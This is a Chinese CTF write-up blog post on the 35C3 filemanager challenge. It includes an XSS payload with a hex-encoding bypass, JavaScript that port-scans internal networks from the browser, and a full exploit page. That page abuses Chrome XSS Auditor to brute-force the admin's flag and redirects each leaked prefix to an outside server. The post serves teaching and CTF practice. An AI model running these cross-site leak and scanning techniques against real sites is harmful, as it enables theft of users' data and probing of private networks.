JavaScript前端盲注（35C3） Secer's Blog - 记录互联网安全历程与个人成长经历

前言

看到wonderkun师傅的新更的一篇博客，写35c3CTF中的一道题：利用chrome XSS Auditor机制，进行盲注，特别好玩儿。

博客简明扼要，但我这个前端瞎子看不太懂后半部分，留下了不懂技术的泪水……好在国外有位大表哥把解题思路写了出来，自己在摸索中收获颇多，于是打算写篇文章，把其中涉及的基础知识介绍一下。

一来，介绍这个不算严重，但在Web2.0厚客户端背景下，有点儿意思的漏洞；
二来，安利一下35c3CTF这个高水平、高质量的国际赛事。

题目背景

//很幸运，写文的时候题目环境还没关，

这道题在比赛期间，只有5支队伍成功做出来
题目说明：

从中我们可以得知，题目考察chrome-headless相关知识点，浏览器特性相关的话，大概率是XSS。

浏览一下https://filemanager.appspot.com
（PS：CTF的好习惯，“访问任何题目地址，都顺便用源码泄露扫一遍；见到任何框框，都随便用sqlmap插一下”，在这道题里，不存在敏感信息泄露和SQL注入，所以就不再赘述了。）

填入admin之后，正常进入管理页面，可以任意登录admin？？原来网站是依赖Session识别用户，把session对应的资源展示出来，所以即使页面显示你是admin，也拿不到真正admin用户的资源。

页面上有两个功能，一个查找文件，一个创建文件：

不好意思……本能地写一句话

文件创建成功，但貌似只是一个普通的文本，没有解析

因为有?filename=，尝试一下文件读取，emmmm，放心，肯定是失败的（不然本文题目就不会是XSS盲注了，23333

后端代码解析不了，试试前端代码呗~发现还是没有任何解析

那大概率就是xss了~

DOM XSS

右击！查看源码！（PPS：这么晚才看前端源码，只是因为...我,似鸽前端瞎；我,没得感情）

这个看似神秘的地方，作用就是

给/create接口传个POST请求，把文件名和内容传过去
在页面添加一个指向该（假）文件的超链接
像这样：

（PPPS：由于写入的POST请求携带了XSRF头，所以无法进行CSRF攻击

暂定create接口和超链接没问题，再看下search接口：

这里我们尝试搜索一些常用的关键字，如flag/root/admin等，当搜索php关键字时，可以看到有特殊回显，查看源码，发现有一段JavaScript代码，将我们搜索的内容赋给了q变量，随后使用DOM的方式输出到标签中。
为什么只有php会有回显呢？因为我们在之前测试的时候，插入了php一句话密码的文本进去。也就是说，这里的search是一个文本搜索功能，当搜索到关键字时，返回被搜索到的文件内容，并把搜索关键字区域高亮显示。
我们确定一下，这里是否存在漏洞，
直接插入<img src=x onerror=alert(document.cookie);>然后搜索：

发现尖括号被HTML实体编码了。尝试js十六进制编码绕过：
js十六进制编码：

str="<img src=x onerror=alert(document.cookie);>";
len=str.length;
arr=[];
for(var i=0;i<len;i++){
arr.push(str.charCodeAt(i).toString(16));
}
console.log("\\x"+arr.join("\\x"));

F12打开控制台，把上面生成js十六进制编码的代码放到控制台执行就好

重复之前的操作，create文件，文本内容填上编码后的结果，然后搜索这段字符串：

可以看到，通过JavaScript的DOM操作，已经弹窗~

OK，存在XSS漏洞和文本搜索功能，猜测flag已经被写入到真实admin后台了，我们要利用搜索处的的XSS漏洞，获取Flag，那么问题来了，怎么打admin呢？

XSRF头防御

别忘了，题目说明还有另一句话。

The admin is using it to store a flag, can you get it? You can reach the admin's chrome-headless at: nc 35.246.157.192 1

前半句确定了flag是储存在真实admin后台的，后半句告诉我们后台的机器人用的是chrome-headless，并提供了一个nc入口：

Interesting! 这里用到了区块链技术中的工作量证明算法，并提供了Node.js的一个计算工具。

安装Node.js用自带的npm工具安装这个模块就好：

使用方法：

这种方法很新奇，防止爆破的同时，还控制了服务器负载。（PPPPS：这种方式还可以用在Pwn题中，防止Fork炸弹。

将计算结果反馈给服务端，提示可以给admin传一个URL，让admin访问：

当查询内容存在时，才会被HTML渲染，XSS插入的攻击向量，必须是之前存到文件里的。很容易想到，利用CSRF让admin插入一段攻击向量，再搜索这段攻击向量，从而触发XSS漏洞。但是~

不要忘记，create页面在插入时，携带了XSRF头，这导致无法CSRF……

最后一条题目信息：chrome-headless

我们可以利用Chrome-Headless对“存在/不存在”的相应差异，进行盲注~也就是我们要引申出的知识点，特定情况下的JavaScript前端盲注。

JavaScript前端盲注准备

浏览器对目标端口是否存在的回显差异

随着浏览器对JavaScript代码的支持，目前我们已经可以仅靠前端代码完成内网端口（10.*）的扫描，并将扫描结果通过DNS外带等方式反馈给攻击者。
具体怎么实现呢？首先来看最容易实现的Firefox：
Firefox当访问一个不存在的端口时，要么超时，要么拒绝连接。因此我们可以使用iframe发起一个内网请求（如192.168.1.1:80），根据访问结果来判断。同时，由于Firefox不限制iframe的数量，因此可以这样写：

async scanFirefox() {
    var that = this;
    let promise = new Promise(function(resolve,reject){
        that.hooks = {oncomplete:function(){
          var iframes = document.getElementsByClassName('firefox');
          while(iframes.length > 0){
            iframes[0].parentNode.removeChild(iframes[0]);
          }
          resolve();
        }};
        that.scan = function(){
          var port = that.q.shift(), id = 'firefox'+(that.pos%1000), iframe = document.getElementById(id) ? document.getElementById(id) : document.createElement('iframe'), timer;
          iframe.style.display = 'none';
          iframe.id = id;
          iframe.src = that.url + ":" + port;
          iframe.className = 'firefox';
          that.updateProgress(port);
          iframe.onload = function(){
              that.openPorts.push(port);
              clearTimeout(timer);
              that.next();
          };
          timer = setTimeout(function(){
            that.next();
          }, 50);
          if(!document.body.contains(iframe)) {
            document.body.appendChild(iframe);
          }
        };
        that.scan();
    });
    return promise;
  }

创建1000个iframe异步/多线程地探测端口，可以试一下Gareth Heyes师傅的Demo。
可以看到探测的速度很快：

但Chrome相对于Firefox有一些不同，提高了探测的难度。Chrome中即使访问对象不存在，也会返回success~只不过这个Success是Chrome浏览器特权域chrome-error://chromewebdata/的。大概是谷歌的安全研究员想要通过这种方式保护用户吧。
但我们可以通过另一种技巧来绕过这种保护：
在前端中，iframe去请求一个页面，会触发onload事件，在Chrome中，无论目标端口是否开放，都会成功触发onload，只不过一个是目标端口成功加载的onload，一个是特权域chrome-error://chromewebdata/成功加载的onload。但在这时，如果我们在Url上加入一个锚定符#，再次加载，对于端口开放的页面，因为是同一个页面，所以onload事件不会再次加载。而对于端口不开放的页面，因为Url已经从目标页面换成了chrome-error://chromewebdata/，所以Onload事件会再次加载。
这个差异就能被用来判断端口是否开放。

利用代码如下所示：

async scanChromeWindows() {
    var that = this;
    let promise = new Promise(function(resolve,reject){
        that.hooks = {oncomplete:function(){
          var iframes = document.getElementsByClassName('chrome');
          while(iframes.length > 0){
            iframes[0].parentNode.removeChild(iframes[0]);
          }
          resolve();
        }};
        that.scan = function(){
          var port = that.q.shift(), id = 'chrome'+(that.pos%500), iframe = document.getElementById(id) ? document.getElementById(id) : document.createElement('iframe'), timer, calls = 0;
          iframe.style.display = 'none';
          iframe.id = iframe.name = id;
          iframe.src = that.url + ":" + port;
          iframe.className = 'chrome';
          that.updateProgress(port);
          iframe.hasLoadedOnce = 0;
          iframe.onload = function(){
            calls++;
            if(calls > 1) {
              clearTimeout(timer);
              that.next();
              return;
            }
            iframe.hasLoadedOnce = 1;
            var a = document.createElement('a');
              a.target = iframe.name;
              a.href = iframe.src + '#';
              a.click();
              a = null;
          };
          timer = setTimeout(function(){
            if(iframe.hasLoadedOnce) {
              that.openPorts.push(port);
            }
            if(that.connections <= that.maxConnections) {
              that.next();
              that.connections++;
            }
          }, 3000);
          if(!document.body.contains(iframe)) {
            document.body.appendChild(iframe);
          }
        };
        that.scan();
    });
    return promise;
  }

Chrome XSS Auditor的过度敏感

Chrome XSS Auditor，就是那个测XSS漏洞时经常出来拦截的东东

在检测恶意向量时有一个规则，当url中带有页面里的JavaScript资源代码时，就会认为是恶意向量。拿baidu.com举例：
在正常页面里，随便找一个被成功解析的script标签

随便找一个a参数传入：

呕吼~一个“百度主站XSS”就诞生了~

这个拦截的错误页面，和无法找到服务的错误页面是相似的，都可以二次加载iframe框架里的onload事件。

这种误报是在原访问请求正常，页面里存在Js资源时生效。所以，回到题目上来看：
先随便写个文件~

在搜索成功的界面里，随意找段JavaScript代码：

构造URL：

https://filemanager.appspot.com/search?q=test&a=%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b

达到了效果。

而当我们搜索的内容不存在时：

回显就不一样了。

Get Flag!

利用以上知识，我们就能获取Flag了~

EXP原理

先贴上@l4wio表哥的EXP。

<body>
<script>
        var URL = 'https://filemanager.appspot.com/search?q={{search}}&a=%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b'; //触发Chrome XSS Auditor的url向量
        var charset = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-https://gitee.com/ph0rse/images/raw/master/xz/:;<=>?@[\\]^`{|}~'; //允许遍历的字符集

        var brute = new URLSearchParams(location.search).get('brute') || '35C3_'; //当访问链接带有brute参数时，如go.html?brute=data，burte变量为参数内容。若没有burte参数，则brute变量的值为'35C3_'。

        function guess(i){
            var go = brute + charset[i];//35C3_拼接上猜测的下一个字符
            var x = document.createElement('iframe');//创建iframe框架
            x.name = 'blah';
            var calls = 0;
            x.onload = () => {
                calls++;
                //只有当二次及以上触发onload时才执行花括号里的内容
                if(calls > 1){  
                    console.log("GO IT ==> ",go);//递归再次请求
                    location.href = 'http://deptrai.l4w.pw/35c3/go.html?brute='+escape(go);
                    x.onload = ()=>{};
                }
                var anchor = document.createElement('a');
                anchor.target = x.name;
                anchor.href = x.src+'#';
                anchor.click();
                anchor = null;
            }
            x.src = URL.replace('{{search}}',go);
            document.body.appendChild(x);
            setTimeout(() =>{
                document.body.removeChild(x);
                guess(i+1); //递归尝试字符集中的下一个字符
            },1000);
        }
        guess(0);
        // FLAG: 35C3_xss_auditor_for_the_win
</script>

</body>

将此EXP放到一个公网可访问的地址上，并将location.href = 'http://deptrai.l4w.pw/35c3/go.html?brute='+escape(go);这一行，改为自己的公网地址。通过nc，将该公网地址发给Admin，让其点开就行。

该EXP通过递归思维进行爆破，从字符集里依次取字符，拼接到'35C3_'上，若不是Flag里的一部分，则onload只执行一次；若加入字符后，是Flag里的一部分，则返回正常页面，但由于触发Chrome XSS Auditor，总共加载onload 3次。
第二次会触发以下逻辑：

if(calls > 1){  
                    console.log("GO IT ==> ",go);//递归再次请求
                    location.href = 'http://deptrai.l4w.pw/35c3/go.html?brute='+escape(go);
                    x.onload = ()=>{};
                }

也就是说，携带上本次成功的案例，递归地进行下一轮爆破。

这里我把真实Flag放到自己的账号上，模拟自己是拥有flag的Admin，来做一下测试：